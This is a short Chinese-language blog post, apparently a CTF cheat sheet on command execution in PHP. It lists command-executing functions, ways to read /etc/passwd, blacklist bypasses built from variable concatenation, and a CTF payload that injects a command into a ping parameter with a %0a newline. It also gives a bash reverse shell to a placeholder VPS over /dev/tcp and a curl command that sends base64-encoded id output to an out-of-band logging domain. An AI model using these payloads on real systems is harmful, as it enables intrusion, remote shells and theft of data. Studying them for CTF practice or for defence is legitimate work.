文章目录
  1. PHP可以命令执行的函数
  2. 读文件的各种各样的方法:
    1. 常用方法:
    2. 歪门邪道:
  3. 命令执行绕过方法:
  4. 一个题目:

ctf之命令执行小总结

PHP可以命令执行的函数

Exec()

System()

Passthru()

Shell_exec()

读文件的各种各样的方法:

常用方法:

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

Vim 使用vim工具打开文本

Vi 使用vi打开文本

歪门邪道:

Curl file:///etc/passwd

String/etc/passwd

Echo< /etc/passwd

Uniq -c/etc/passwd

Bash -v /etc/passwd

Rev/etc/passwd

命令执行绕过方法:

####黑名单:

a=l;b=s;ab

a=c;b=at;c=heb;d=ic;ab{c}{d}

####没有回显:

bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

curl whoami.xxxx.xxx(子域名)\

Wget、ping

curlikyzvu.ceye.io/$(id|base64)

一个题目:

1
$cmd = shell_exec( 'ping -c 4 ' . $target );

$target可控,又限制的比较死,各种字符都过滤了。使用%0a换行,然后直接执行需要的命令。

Payload: http://XXXX:83/index.php?ip=127.0.0.1%0als

来源:https://chybeta.github.io/2017/06/18/%E2%80%9C%E6%98%A5%E7%A7%8B%E6%9D%AF%E2%80%9Dweb-writeup/#WEB-03

支持一下
扫一扫,支持forsigner